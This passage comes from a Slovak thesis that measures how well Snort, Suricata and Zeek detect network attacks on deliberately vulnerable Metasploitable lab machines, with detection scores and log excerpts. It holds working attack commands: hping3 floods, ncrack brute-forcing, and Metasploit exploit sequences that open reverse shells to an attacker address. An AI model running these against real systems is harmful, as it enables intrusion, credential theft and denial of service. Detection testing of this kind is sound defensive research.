TCP, UDP a d’aľsie druhy paketov. Dokáže tiež l’ubovol’ne upravovat’ hlavičky,
fragmentáciu, telo a vel’kost’ paketov ako aj rýchlost’ ich odosielania. To je
užitočné v celej rade použit́ı, ako je testovanie firewallových pravidiel, skeno-
vanie portov, testovanie výkonu siete, traceroute, firewalking a podobne [34].

Zdrojový kód nástroja hping3 je vol’ne dostupný na internete32 a mal by sa
dat’ tiež jednoducho nainštalovat’ pomocou správcu baĺıčkov v každej väčšej
linuxovej distribúcii. Vd’aka jeho schopnosti extrémne rýchleho odosielania
upravených paketov bude v tejto práci použitý na vykonanie DoS útokov.

Metasploit

Rozhranie určené na penetračné testovanie Metasploit obsahuje databázu s in-
formáciami o bezpečnostných zranitel’nostiach rôznych druhov softvéru a ope-
račných systémov. Zároveň dokáže pomocou modulov tieto zranitel’nosti zne-
užit’ na źıskanie tajných informácíı alebo neoprávneného pŕıstupu. Je mo-
dulárne, vel’mi flexibilné a robustné [35]. Vd’aka tomu je toto rozhranie celo-
svetovo najpouž́ıvaneǰsie vo svojej kategórii [36].

Jeho použitiu predchádza zozbieranie informácíı o cieli napŕıklad pomo-
cou programu nmap. Následne sa tieto informácie použijú na vyhl’adanie zra-
nitel’nost́ı v databáze modulov. Potom sa zvoĺı konkrétny modul, nastavia sa
mu potrebné parametre a vykoná sa jeho kód. Po úspešnom vykonańı źıska
útočńık pŕıstup k zabezpečeným informáciám, súborom alebo účtom.

31https://github.com/nmap/ncrack
32https://github.com/antirez/hping
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3. Pŕıprava testovacieho prostredia

Metasploit je vyv́ıjaný spoločnost’ou Rapid733 a opensourcovou komuni-
tou. Vd’aka tomu je neustále aktualizovaný a pribúdajú nové moduly. K dis-
poźıcii sú dve verzie. Prvá je vol’ne dostupná na stiahnutie34 a má jednoduchú
inštaláciu. Táto bude použitá v práci na vykonanie väčšiny útokov. Druhá je
platená, avšak poskytuje pridanú funkcionalitu.

3.2 Ciele

Na internete sa nachádza vel’ké množstvo úmyselne zranitel’ných virtuálnych
strojov35, ktoré obsahujú operačný systém a softvér nakonfigurovaný takým
spôsobom, aby bolo možné využit’ ich zranitel’nosti na prelomenie zabezpečenia.
Ich účelom je učenie, predvedenie a trénovanie schopnost́ı penetračných teste-
rov. Dokonca existujú stroje s rôznymi obtiažnost’ami zabezpečenia a tak sú
vhodné pre začiatočńıkov, ale aj expertov.

V tejto práci budú použité dva virtuálne stroje vytvorené spoločnost’ou
Rapid7, ktorá vyv́ıja Metasploit, ako ciele na simulovanie útokov na firemnú
infraštruktúru. Teraz bude poṕısaný softvér, ktorý bude na týchto ciel’och
použitý.

tcpdump & Wireshark

Oba tieto programy slúžia na zachytávanie a analýzu paketov v prevádzke
na definovanom siet’ovom rozhrańı, ku ktorému je poč́ıtač pripojený. Oba po-
skytujú širokú funkcionalitu, ktorá zahŕňa pokročilé filtrovanie paketov podl’a
IP adries, protokolov a rôznych iných vlastnost́ı, štatistiky prevádzky, prácu
so šifrovanými paketmi, vstup a výstup do súborov, a mnoho d’aľsieho [37]
[38].

tcpdump má otvorený zdrojový kód36, ovláda sa cez pŕıkazový riadok a dá
sa jednoducho nainštalovat’ pomocou správcu baĺıčkov na Linuxe. Wireshark
má na rozdiel od tcpdumpu okrem pŕıkazového riadka aj grafické už́ıvatel’ské
rozhranie a je dostupný pre všetky platformy vrátane Windowsu. Je to slo-
bodný softvér a dá sa jednoducho stiahnut’37 a nainštalovat’.

3.2.1 Linux

Prvý ciel’ je virtuálny stroj s názvom Metasploitable 2, ktorý je možné vyhl’adat’
a vol’ne stiahnut’ na internete38. Je na ňom nainštalovaný operačný systém
Ubuntu 8.04 s linuxovým jadrom a útoky sa budú zaznamenávat’ do súborov
pomocou pŕıkazu:

33https://www.rapid7.com/
34https://www.metasploit.com/download
35Napŕıklad tu: https://www.vulnhub.com/
36https://github.com/the-tcpdump-group/tcpdump
37https://www.wireshark.org/#download
38https://sourceforge.net/projects/metasploitable/
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3.2. Ciele

tcpdump -i eth0 -s 0 -w file.pcap

Kde majú parametre nasledujúci význam:

-i určuje rozhranie, na ktorom sa budú pakety zachytávat’.

-s definuje maximálnu vel’kost’ ukladaných paketov a hodnota nula znamená
ukladanie celých paketov.

-w nastavuje výstupný súbor.

Okrem toho sa na Metasploitable 2 nachádza množstvo zranitel’ných služieb,
z ktorých sú pre potreby tejto práce zauj́ımavé nasledujúce:

• ssh

• http

• Samba – smb (netbios-ssn, microsoft-ds)

• postgres

• vnc

3.2.2 Windows

Druhý ciel’ je novšia verzia predchádzajúceho virtuálneho stroja s názvom Me-
tasploitable 3, ktorá je rovnako vol’ne dostupná na internete, avšak pred použi-
t́ım sa muśı na rozdiel od dvojky najprv automaticky zostavit’. Kompletný pro-
ces stiahnutia a zostavenia tohto stroja je poṕısaný na jeho oficiálnej stránke39.
Tentokrát však obsahuje operačný systém Windows Server 2008 R2 a preto
sa budú pakety útokov zachytávat’ pomocou tohto pŕıkazu, ktorý je vel’mi
podobný predchádzajúcemu:

tshark -i 1 -w file.pcap

Ked’že v tomto pŕıpade nie je potrebé grafické už́ıvatel’ské rozhranie, bude
použitý tshark, čo je ekvivalent Wiresharku na pŕıkazovom riadku.

-i určuje rozhranie, na ktorom sa budú pakety zachytávat’. Zoznam všetkých
dostupných rozhrańı sa dá zobrazit’ pŕıkazom tshark -D.

-w nastavuje výstupný súbor.

Nakoniec sú na Metasploitable 3 zauj́ımavé nasledujúce služby:

• psexec (netbios-ssn, microsoft-ds)
39https://github.com/rapid7/metasploitable3
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• snmp

• rdp

• Apache Tomcat

Pred samotným testovańım sa ešte nastavia lokálne monitorované siete
do konfigurácíı jednotlivých NIDS. V tomto pŕıpade sú to IP adresy ciel’ov.
V Snorte sa nastavia do premennej HOME NET v jeho hlavnom konfiguračnom
súbore snort.conf. U Suricaty je to premenná s rovnakým názvom v konfi-
guračnom súbore suricata.yaml a potom sa ešte namapujú tieto IP adresy
v sekcii host-os-policy ku pŕıslušným operačným systémom. V Zeeku sa
pridajú na koniec súboru networks.cfg v CIDR40 notácii.

40Napŕıklad 192.168.1.100/32 pre jednu IP adresu a 192.168.1.0/24 pre celú siet’.
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Kapitola 4
Testovanie NIDS

Táto kapitola sa bude zaoberat’ vykonávańım siet’ových útokov a ich analýzou
jednotlivými NIDS riešeniami. Priebeh každého útoku bude podrobneǰsie po-
ṕısaný a následne budú vyhodnotené reakcie jednotlivých NIDS. Popri vy-
konávańı útokov je na pozad́ı spustený skript, ktorý produkuje bežnú webovú
prevádzku pre reálneǰsiu simuláciu skutočného prostredia.

Pre doplnenie a rozš́ırenie celkového spektra útokov budú analyzované aj
pcap súbory, ktoré sú dostupné na internete. Rovnako bude analyzovaná aj
neškodná siet’ová prevádzka. To umožńı komplexné otestovanie jednotlivých
NIDS riešeńı v rozličných scenároch.

Snort vypisuje detekované udalosti priamo na štandardný výstup. Suricata
ich ukladá do logu s názvom fast.log. Výstup Zeeku sa nachádza vo via-
cerých súboroch a je potrebné, aby ich administrátor skontroloval všetky a
podrobneǰsie analyzoval udalosti sám.

4.1 Všeobecné útoky

4.1.1 Normálne skenovanie

Útok

V skutočnosti väčšine útokov predchádza skenovanie ciel’ov. Tak to bude aj
v tejto práci. Na túto úlohu je použitý známy pŕıkaz nmap s preṕınačmi vy-
svetlenými v kapitole 1 a s jedným novým preṕınačom -Pn, ktorý nastavuje
nmap tak, aby predpokladal, že ciel’ je online. Kompletný pŕıkaz vyzerá takto:

nmap -n -Pn -sV metasploitable2

Snort

Snort dokázal presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

SCAN Suspicious inbound to mySQL port 3306
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SCAN Nmap Scripting Engine User-Agent Detected

Suricata

Suricata zareagovala rovnako ako Snort, preto má 100%.

Zeek

Zeek zachytil tento útok udalost’ami s rôznymi ciel’ovými portmi. Vd’aka tomu
môže administrátor vel’mi jednoducho usúdit’ o aký útok sa jedná. Preto do-
stane 100%. Ukážka z logu conn.log:

# src.ip src.p dst.ip dst.p proto
192.168.200.1 49044 192.168.200.144 139 tcp
192.168.200.1 49044 192.168.200.144 22 tcp
192.168.200.1 49044 192.168.200.144 443 tcp

4.1.2 Pomalé skenovanie

Toto skenovanie je pomocou parametra -T nastavené na pomalé odosielanie
paketov. Taktiež je vypnutý preṕınač na zist’ovanie verzíı služieb a je nastavený
malý počet skenovaných portov. Tieto nastavenia by mali dosiahnut’ to, aby
bolo t’ažšie ho zachytit’:

nmap -n -Pn -T sneaky --top-ports=10 metasploitable2

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.

Suricata

Suricata vôbec nedetekovala tento útok, preto má 0%.

Zeek

Zeek zachytil tento útok udalost’ami s rôznymi ciel’ovými portmi. Vd’aka tomu
môže administrátor, ak je dostatočne pozorný, usúdit’ o aký útok sa jedná.
Preto dostane 50%. Ukážka z logu conn.log:

# src.ip src.p dst.ip dst.p proto
192.168.200.1 49044 192.168.200.144 110 tcp
192.168.200.1 49044 192.168.200.144 25 tcp
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4.1.3 ICMP flood

Denial of Service je typ siet’ového útoku, ktorý má za účel pret’ažit’ ciel’ovú
službu tak, aby nebola dostupná pre jej skutočných už́ıvatel’ov. To sa dá
dosiahnut’ napŕıklad zneužit́ım chyby v programe, ktorá spôsob́ı jeho zlyha-
nie. Ďaľśım spôsobom je zneužitie vlastnost́ı protokolov, čo umožňuje zahl-
tenie ciel’a obrovským množstvom požiadaviek, ktorých spracovanie spôsob́ı
vyčerpanie jeho prostriedkov a nedostupnost’ služby, ktorú poskytuje. Ok-
rem toho existujú ešte d’aľsie druhy DoS útokov. DoS je jeden z najčasteǰsie
použ́ıvaných siet’ových útokov v súčastnosti [39].

ICMP flood je typ DoS útoku, v ktorom sa útočńık snaž́ı zahltit’ ciel’ ICMP
echo-request paketmi. Tento útok sa vykoná pomocou programu hping3
takto:

hping3 -1 --flood --rand-source metasploitable2

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.

Suricata

Suricata zachytila tento útok čiastočne. Pre každý paket s podozrivou zdro-
jovou IP adresou vyṕısala záznam do logu. Vd’aka tomu môže administrátor
celkom presne určit’, že sú dané IP adresy spoofované a preto sa s vel’kou
pravdepodobnost’ou jedná o DoS útok. Preto dostane 100%. Ukážka z logu:

DROP Spamhaus DROP Listed Traffic Inbound group

Zeek

Zeek zachytil tento útok vel’kým množstvom ICMP udalost́ı s rôznymi zdro-
jovými IP adresami. Vd’aka tomu môže administrátor vel’mi jednoducho usúdit’
o aký útok sa jedná. Preto dostane 100%. Ukážka z logu conn.log:

# src.ip dst.ip proto
247.177.113.199 192.168.200.144 icmp
145.36.190.138 192.168.200.144 icmp

4.1.4 Teardrop

Teardrop je typ DoS útoku, v ktorom útočńık pošle fragmentované pakety
na ciel’. Ten ich nedokáže znovu poskladat’, pretože sa navzájom prekrývajú
a to spôsob́ı zrútenie ciel’ového systému. pcap súbor je dostupný na internete41.

41https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=
teardrop.cap
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Snort

Snort dokázal presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

Short fragment, possible DoS attempt
[Attempted Denial of Service]

Suricata

Suricata zareagovala rovnako ako Snort, preto má 100%.

Zeek

Zeek zachytil tento útok v logu weird.log správou fragment inconsistency,
preto má 100%.

4.2 SSH

Na túto službu bude pustený bruteforce útok použit́ım modulu v Metasploite,
ktorý sa snaž́ı uhádnut’ prihlasovacie údaje slovńıkovou metódou. Najprv sa
spust́ı rozhranie a nasleduje pŕıkaz pre výber modulu. Potom sa nastav́ı ciel’ový
host, slovńıkový súbor a nakoniec sa pust́ı samotný útok.

Ukážka 4.1: ssh bruteforce útok.
1 root@localhost # msfconsole
2 msf5 > use auxiliary / scanner /ssh/ ssh_login
3 msf5 ... > set RHOSTS metasploitable2
4 msf5 ... > set USERPASS_FILE userpass .txt
5 msf5 ... > run

Snort

Snort zachytil tento útok čiastočne. Vyṕısal iba jeden záznam do logu a nedá
sa z neho s istotou určit’, o aký útok sa jedná. Preto dostane 50%. Ukážka
z logu:

SCAN Potential SSH Scan [Attempted Information Leak]

Suricata

Suricata zareagovala rovnako ako Snort, preto má 50%.

Zeek

Zeek zachytil tento útok ssh udalost’ami s jedinou zdrojovou IP adresou a ne-
úspešnými pokusmi o prihlásenie. Vd’aka tomu môže administrátor vel’mi
jednoducho usúdit’ o aký útok sa jedná. Preto dostane 100%. Log okrem
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ukázaných informácíı obsahuje ešte klientský a serverový softér, algoritmy
šifrovania, kompresie, výmeny kl’́učov a d’aľsie. Ukážka z logu ssh.log obsa-
huje dva neúspešné a jeden úspešný pokus:

# src.ip src.p dst.ip dst.p auth_success
192.168.200.1 33463 192.168.200.144 22 -
192.168.200.1 45421 192.168.200.144 22 T
192.168.200.1 43537 192.168.200.144 22 -

4.3 HTTP(S)

4.3.1 SYN flood

SYN flood útok je typ DoS útoku, v ktorom útočńık zneuž́ıva vlastnost’ nad-
viazania pripojenia protokolu TCP, kedy posiela obrovské množstvo SYN pa-
ketov s náhodnou zdrojovou adresou, na ktoré ciel’ odpovedá a tak zbytočne
vyt’ažuje svoje prostriedky. Útok vyzerá takto:

hping3 -S -p 80 --flood --rand-source metasploitable2

Snort

Snort zachytil tento útok čiastočne. Pre každý paket s podozrivou zdrojovou
IP adresou vyṕısal záznam do logu. Vd’aka tomu môže administrátor celkom
presne určit’, že sú dané IP adresy spoofované a preto sa s vel’kou pravdepo-
dobnost’ou jedná o DoS útok. Preto dostane 100%. Ukážka z logu:

DROP Spamhaus DROP Listed Traffic Inbound group

Suricata

Suricata zareagovala rovnako ako Snort, preto má 100%.

Zeek

Zeek zachytil tento útok vel’kým množstvom TCP udalost́ı s rôznymi zdro-
jovými IP adresami. Vd’aka tomu môže administrátor vel’mi jednoducho usúdit’
o aký útok sa jedná. Preto dostane 100%. Ukážka z logu conn.log:

# src.ip src.p dst.ip dst.p proto
192.24.132.124 1346 192.168.200.144 80 tcp
102.48.179.124 1347 192.168.200.144 80 tcp
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4.3.2 PHP CGI argument injection

Ked’že sa vo firme použ́ıva jazyk PHP v kombinácii s Apache httpd web
serverom, bude ukázaný útok na tento softvér. Staršia verzia jazyka PHP
v spomı́nanej kombinácii je zranitel’ná vložeńım špeciálne upravených argu-
mentov query stringu, ktoré umožňujú vykonávanie l’ubovol’ných pŕıkazov
na strane servera. Zranitel’né verzie a viac informácii je tu [40].

V samotnom útoku sa najprv zvoĺı správny modul, nastav́ı sa PAYLOAD,
ktorý vytvoŕı na ciel’ovom hostovi zadné dvierka v podobe reverzného shellu.
Pomocou tohto shellu źıska útočńık jednoduchý a efekt́ıvny pŕıstup k ovládaniu
infikovaného ciel’a. Preto sa muśı okrem ciel’a definovat’ aj IP adresa útočńıka.

Ukážka 4.2: PHP CGI argument injection.
1 msf5 > use exploit /multi/http/ php_cgi_arg_injection
2 msf5 ... > set PAYLOAD php/ meterpreter / reverse_tcp
3 msf5 ... > set RHOST metasploitable2
4 msf5 ... > set LHOST 192.168.200.1
5 msf5 ... > run

Snort

Snort dokázal presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

[A Network Trojan was detected]
[Web Application Attack]

Suricata

Suricata zareagovala rovnako ako Snort, preto má 100%.

Zeek

Zeek zachytil tento útok v jednej udalosti, avšak pre administrátora je takmer
nemožné ho identifikovat’. Preto dostane 0%.

4.3.3 Apache Tomcat

Tento útok nahrá na aplikačný server Tomcat program v jazyku Java, ktorý
spust́ı na serveri reverzný shell. Aby to však bolo možné spravit’, je potrebné
zistit’ prihlasovacie údaje do Tomcatu. Tie sú v prvej časti ukážky uhádnuté
vd’aka pomocnému modulu, ktorý ich bruteforcuje.

Ukážka 4.3: psexec útok.
1 msf5 > use auxiliary / scanner /http/ tomcat_mgr_login
2 msf5 ... > set RHOST metasploitable2
3 msf5 ... > set RPORT 8180
4 msf5 ... > run
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5 [+] 192.168.200.144:8180 - Login Successful : tomcat : tomcat
6
7 msf5 ... > use exploit /multi/http/ tomcat_mgr_deploy
8 msf5 ... > set PAYLOAD java/ meterpreter / reverse_tcp
9 msf5 ... > set RHOST metasploitable2

10 msf5 ... > set LHOST 192.168.200.1
11 msf5 ... > set RPORT 8180
12 msf5 ... > set HTTPPASSWORD tomcat
13 msf5 ... > set HTTPUSERNAME tomcat
14 msf5 ... > run

Snort

Snort dokázal presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

POLICY Incoming Basic Auth Base64 HTTP Password detected
unencrypted

SCAN Tomcat admin-admin login credentials
[Attempted Administrator Privilege Gain]

Suricata

Suricata dokázala presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

SCAN Tomcat Auth Brute Force attempt
[Web Application Attack]

Zeek

Zeek zachytil tento útok viacerými http udalost’ami. Vd’aka tomu môže admi-
nistrátor vel’mi jednoducho usúdit’ o aký útok sa jedná. Preto dostane 100%.
Ukážka z logu http.log obsahuje jeden neúspešný a jeden úspešný pokus
o prihlásenie:

# src.ip src.p dst.ip dst.p method
192.168.200.1 37121 192.168.200.144 8180 GET
192.168.200.1 43397 192.168.200.144 8180 GET

# uri status_msg username
/manager/html Unauthorized admin
/manager/html OK tomcat

4.3.4 TCP Packet injection

Vložený TCP paket spôsobuje presmerovanie na inú webovú stránku, než odo-
slal pôvodný webserver. pcap súbor je dostupný na internete42.

42https://www.netresec.com/files/hao123-com_packet-injection.pcap
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Snort

Snort zachytil tento útok čiastočne. Vyṕısal niekol’ko záznamov do logu a nedá
sa z nich s istotou určit’, o aký útok sa jedná. Preto dostane 50%. Ukážka
z logu:

NO CONTENT-LENGTH OR TRANSFER-ENCODING IN HTTP RESPONSE
INVALID CONTENT-LENGTH OR CHUNK SIZE

Suricata

Suricata dokázala presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

reassembly overlap with different data

Zeek

Zeek vôbec nedetekoval tento útok, preto má 0%.

4.3.5 Spyware Injection

Tento útok pridáva do spustitel’ných súborov spyware. Ked’ si ich už́ıvatel’
stiahne z webu a nainštaluje, spyware odosiela rôzne informácie útočńıkovi.
pcap súbor je dostupný na internete43.

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.

Suricata

Suricata vôbec nedetekovala tento útok, preto má 0%.

Zeek

Zeek vôbec nedetekoval tento útok, preto má 0%.

4.3.6 Heartbleed

Tento útok umožňuje prelomit’ SSL/TLS šifrovanie a vystavuje tak citlivé dáta
útočńıkovi. Viac informácíı je tu [41]. pcap súbor je dostupný na internete44.

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.
43https://github.com/citizenlab/badtraffic/tree/master/pcaps
44https://mcfp.felk.cvut.cz/publicDatasets/CTU-Manual-Capture-Attack-1/
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Suricata

Suricata dokázala presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

TLS overflow heartbeat encountered, possible exploit attempt
(heartbleed)

Possible OpenSSL HeartBleed

Zeek

Zeek vôbec nedetekoval tento útok, preto má 0%.

4.4 PostgreSQL

Útok na PostgreSQL databázu pozostáva z dvoch čast́ı. V prvej časti prebehne
bruteforce útok na zistenie prihlasovaćıch údajov. Tie sa následne použijú
na pripojenie na databázový server. Tam sa oveŕı, či má daný už́ıvatel’ právo
zápisu do tmp zložky.

V druhej časti sa tieto informácie využijú na vytvorenie reverzného shellu,
ktorý zaist́ı pŕıstup do systému pod daným už́ıvatel’om. Viac informácíı o tejto
zranitel’nosti [42].

Ukážka 4.4: PostgreSQL útok.
1 msf5 > use auxiliary / scanner / postgres / postgres_login
2 msf5 ... > set RHOSTS metasploitable2
3 msf5 ... > run
4 [+] 192.168.200.144:5432 - Login Successful : postgres :

postgres@template1
5
6 root@locahost # psql -h metasploitable2 -U postgres -W
7 Password for user postgres :
8
9 postgres =# CREATE TABLE test ( output TEXT);

10 CREATE TABLE
11 postgres =# INSERT INTO test( output ) VALUES (’test ’);
12 INSERT 0 1
13 postgres =# COPY test( output ) TO ’/tmp/test ’;
14 COPY 1
15
16 msf5 > use exploit /linux/ postgres / postgres_payload
17 msf5 ... > set RHOSTS metasploitable2
18 msf5 ... > run

Snort

Snort zachytil tento útok čiastočne. Administrátor však dokáže jasne rozpoz-
nat’ hrozbu a vd’aka tomu reagovat’. Preto dostane 100%. Ukážka z logu:
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SCAN Suspicious inbound to PostgreSQL port 5432
POLICY Executable and linking format (ELF) file download

Suricata

Suricata zareagovala rovnako ako Snort, preto má 100%.

Zeek

Zeek vôbec nedetekoval tento útok, preto má 0%.

4.5 VNC

Služba pre vzdialené grafické desktopové pripojenie VNC bude podrobená bru-
teforce útoku na uhádnutie prihlasovaćıch údajov, podobne ako služba ssh.
Tentoraz je však použitý nástroj ncrack a odosielanie údajov je ovel’a po-
maľsie v snahe vyhnút’ sa nechcenej detekcii. Rýchlost’ posielania je definovaná
parametrom -g cd=1, čo znamená jedna dvojica údajov približne za jednu se-
kundu. Parameter -U určuje súbor s prihlasovaćımi menami a parameter -P
určuje súbor s heslami.

ncrack -g cd=1 -U users.txt -P passwords.txt metasploitable2:5900

Snort

Snort zachytil tento útok čiastočne. Vyṕısal iba jeden záznam do logu a nedá
sa z neho s istotou určit’, o aký útok sa jedná. Preto dostane 50%. Ukážka
z logu:

SCAN Potential VNC Scan 5900-5920 [Attempted Information Leak]

Suricata

Suricata zareagovala rovnako ako Snort, preto má 50%.

Zeek

Zeek zachytil tento útok sériou rfb udalost́ı. Vd’aka tomu môže administrátor
vel’mi jednoducho usúdit’ o aký útok sa jedná. Preto dostane 100%. Ukážka
z logu rfb.log:

# src.ip src.p dst.ip dst.p auth_method
192.168.200.1 55676 192.168.200.144 5900 Invalid
192.168.200.1 55678 192.168.200.144 5900 Invalid
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4.6 SNMP

Ako už bolo spomenuté v kapitole 1, protokol SNMP slúži na monitorovanie
a spravovanie poč́ıtačov po sieti. V pŕıpade, že nie je dostatočne zabezpečený,
je vcelku jednoduché źıskat’ do neho pŕıstup.

V tomto pŕıpade je využitý modul Metasploitu, ktorý háda názov komu-
nity metódou bruteforce. Komunita je hodnota, ktorú SNMP využ́ıva pre ove-
renie pŕıstupu. Ako vidno v ukážke na riadku štyri, bola nájdená komunita
monitoring s právom č́ıtania.

Táto komunita je druhým modulom použitá na źıskanie všetkých do-
stupných informácíı, ktoré zahŕňajú systémové informácie, zoznam už́ıvatel’ov,
siet’ové nastavenia, otvorené porty, bežiace procesy a d’aľsie užitočné informácie.
Tieto informácie budú použité v d’aľsom útoku.

Ukážka 4.5: SNMP útok.
1 msf5 > use auxiliary / scanner /snmp/ snmp_login
2 msf5 ... > set RHOST metasploitable3
3 msf5 ... > run
4 [+] 192.168.200.242:161 - Login Successful : monitoring ( Access

level: read -only); ...
5 msf5 ... > use auxiliary / scanner /snmp/ snmp_enum
6 msf5 ... > set RHOST metasploitable3
7 msf5 ... > set COMMUNITY monitoring
8 msf5 ... > run

Snort

Snort dokázal presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

SNMP Attempted UDP Access Attempt
[Attempted Administrator Privilege Gain]

Suricata

Suricata zareagovala rovnako ako Snort, preto má 100%.

Zeek

Zeek vôbec nedetekoval tento útok, preto má 0%.

4.7 RDP

RDP je protokol pre vzdialený pŕıstup k Windows Serveru. Zoznam už́ıvatel’ov
źıskaný v útoku na SNMP bol uložený do súboru users.txt a je využitý
na bruteforce útok na túto službu. Tento súbor je nastavený ku parametru
pre už́ıvatel’ské mená a rovnako aj pre heslá. V ukážke je vidno, že pomocou
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tejto triviálnej metódy boli źıskané prihlasovacie údaje až ku dvom účtom
na ciel’ovom serveri.

Ukážka 4.6: RDP bruteforce útok.
1 root@localhost # ncrack -U users.txt -P users.txt metasploitable3

:3389
2 Discovered credentials for ms -wbt - server on 192.168.200.242 3389/

tcp:
3 192.168.200.242 3389/ tcp ms -wbt - server : ’vagrant ’ ’vagrant ’
4 192.168.200.242 3389/ tcp ms -wbt - server : ’Administrator ’ ’vagrant ’

Snort

Snort dokázal presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

SCAN Behavioral Unusually fast Terminal Server Traffic Potential
Scan or Infection

Microsoft Windows RemoteDesktop new session flood attempt
[Attempted Administrator Privilege Gain]

Suricata

Suricata zachytila tento útok čiastočne. Vyṕısala niekol’ko záznamov do logu
a nedá sa z nich s istotou určit’, o aký útok sa jedná. Preto dostane 50%.
Ukážka z logu:

POLICY RDP connection confirm
SCAN Behavioral Unusually fast Terminal Server Traffic Potential
Scan or Infection

Zeek

Zeek zachytil tento útok sériou rdp udalost́ı. Vd’aka tomu môže administrátor
vel’mi jednoducho usúdit’ o aký útok sa jedná. Preto dostane 100%. Ukážka
z logu rdp.log:

# src.ip src.p dst.ip dst.p client_name
192.168.200.1 36178 192.168.200.242 3389 NCRACK
192.168.200.1 36180 192.168.200.242 3389 NCRACK

4.8 Samba

4.8.1 psexec

Pomocou prihlasovaćıch údajov, ktoré boli źıskané v predchádzajúcom útoku
je možné prihlásit’ sa do služby RDP. Rovnako je možné ich použit’ v module
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z ukážky, ktorý vytvoŕı reverzný shell pomocou služby psexec. Ten dokáže
posielat’ a kódovat’ dáta tak, aby sa nikdy neukladali na disk, a každý payload
bol unikátny. Z tohto dôvodu by mal byt’ t’ažšie detekovatel’ný pre signature-
based algoritmy [43].

Ukážka 4.7: psexec útok.
1 msf5 > use exploit / windows /smb/ psexec_psh
2 msf5 ... > set RHOST metasploitable3
3 msf5 ... > set SMBUser vagrant
4 msf5 ... > set SMBPass vagrant
5 msf5 ... > run

Snort

Snort dokázal presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

POLICY Powershell Activity Over SMB - Likely Lateral Movement
[A Network Trojan was detected]
TROJAN Possible Metasploit Payload Common Construct Bind_API

Suricata

Suricata dokázala presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

SMB malformed request data
POLICY Powershell Activity Over SMB - Likely Lateral Movement
[A Network Trojan was detected]
TROJAN Possible Metasploit Payload Common Construct Bind_API

Zeek

Zeek vôbec nedetekoval tento útok, preto má 0%.

4.8.2 Username map script

Tento útok využ́ıva zranitel’nost’ konfigurácie Samby. Pri prihlasovańı sa zadá
už́ıvatel’ské meno, ktoré obsahuje meta znaky shellu, a tak dokáže útočńık
vykonávat’ l’ubovol’né pŕıkazy bez autentif ikácie. Viac informácíı o tejto zra-
nitel’nosti [44].

Tento útok, rovnako ako predchádzajúci, vytvoŕı na ciel’ovom hostovi re-
verzný shell. Tento krát však bol PAYLOAD zvolený Metasploitom automaticky.

Ukážka 4.8: Samba – username map script.
1 msf5 > use exploit /multi/samba/ usermap_script
2 msf5 ... > set RHOSTS metasploitable2
3 msf5 ... > run
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Snort

Snort vôbec nedetekoval tento útok, preto má 0%.

Suricata

Suricata vôbec nedetekovala tento útok, preto má 0%.

Zeek

Zeek zachytil tento útok vo viacerých udalostiach, avšak pre administrátora
je takmer nemožné ho identifikovat’. Preto dostane 0%.

4.8.3 Directory traversal

Rovnako ako predchádzajúci útok na server so Samba službou, aj tento využ́ıva
jej zlú konfiguráciu a umožňuje tak pristupovat’ k celému filesystému ano-
nymne bez prihlásenia. Viac informácíı o tejto zranitel’nosti [45].

Útočńık si najprv vyṕı̌se zoznam zdiel’aných adresárov. Nachádza sa medzi
nimi adresár tmp, ktorý zvyčajne býva zapisovatel’ný, čo je požiadavka k tejto
zranitel’nosti. Následne nastav́ı modul, ciel’, zdielanú zložku a potom spust́ı
útok. Nakoniec sa anonymne pripoj́ı na zdiel’anú zložku tmp, kde sa nachádza
zložka rootfs, ktorá obsahuje celý filesystém s právom č́ıtania.

Ukážka 4.9: Samba – directory traversal.
1 root@localhost # smbclient -L // metasploitable2
2 Sharename Type Comment
3 --------- ---- -------
4 print$ Disk Printer Drivers
5 tmp Disk oh noes!
6 opt Disk
7
8 root@localhost # msfconsole
9 msf5 > use auxiliary /admin/smb/ samba_symlink_traversal

10 msf5 ... > set RHOST metasploitable2
11 msf5 ... > set SMBSHARE tmp
12 msf5 ... > run
13 ...
14 root@localhost # smbclient // metasploitable2 /tmp
15 Anonymous login successful
16 smb: \> cd rootfs \

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.
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Suricata

Suricata zachytila tento útok čiastočne. Vyṕısala niekol’ko záznamov do logu
a nedá sa z nich s istotou určit’, o aký útok sa jedná. Preto dostane 50%.
Ukážka z logu:

NETBIOS SMB-DS IPC$ share access
NETBIOS SMB-DS Session Setup NTMLSSP unicode asn1 overflow attempt

Zeek

Zeek zachytil tento útok viacerými smb udalost’ami. Vd’aka tomu môže admi-
nistrátor vel’mi jednoducho usúdit’ o aký útok sa jedná. Preto dostane 100%.
Ukážka z logu smb files.log:

# src.ip src.p dst.ip dst.p action
192.168.200.1 41566 192.168.200.144 445 SMB::FILE_OPEN

# name
\\rootfs\\root\\.ssh\\authorized_keys

Ukážka z logu smb mapping.log:

# src.ip src.p dst.ip dst.p
192.168.200.1 44187 192.168.200.144 445
192.168.200.1 44187 192.168.200.144 445

#path share_type
\\\\metasploitable2\\IPC$ PIPE
\\\\metasploitable2\\tmp DISK

4.8.4 Wannacry ransomware scan

Wannacry je ransomware, ktorý v pŕıpade úspešnej nákazy ciel’a zašifruje jeho
disk. Š́ıri sa po sieti a využ́ıva zranitel’nost’ protokolu Samba. pcap súbor je
dostupný na internete45.

Snort

Snort vôbec nedetekoval tento útok, preto má 0%.

Suricata

Suricata dokázala presne detekovat’ tento útok, preto má 100%. Ukážka z logu:

SCAN Behavioral Unusual Port 445 traffic Potential Scan or
Infection

45https://precisionsec.com/wannacry-pcap-smb-445/

51

https://precisionsec.com/wannacry-pcap-smb-445/


4. Testovanie NIDS

Zeek

Zeek vôbec nedetekoval tento útok, preto má 0%.

4.9 DNS

4.9.1 Tunneling

DNS tunneling je metóda, v ktorej sa zakódujú akékol’vek dáta (napr. aplikácíı
či programov) do DNS požiadaviek a odpoved́ı. Vd’aka tomu sa táto komu-
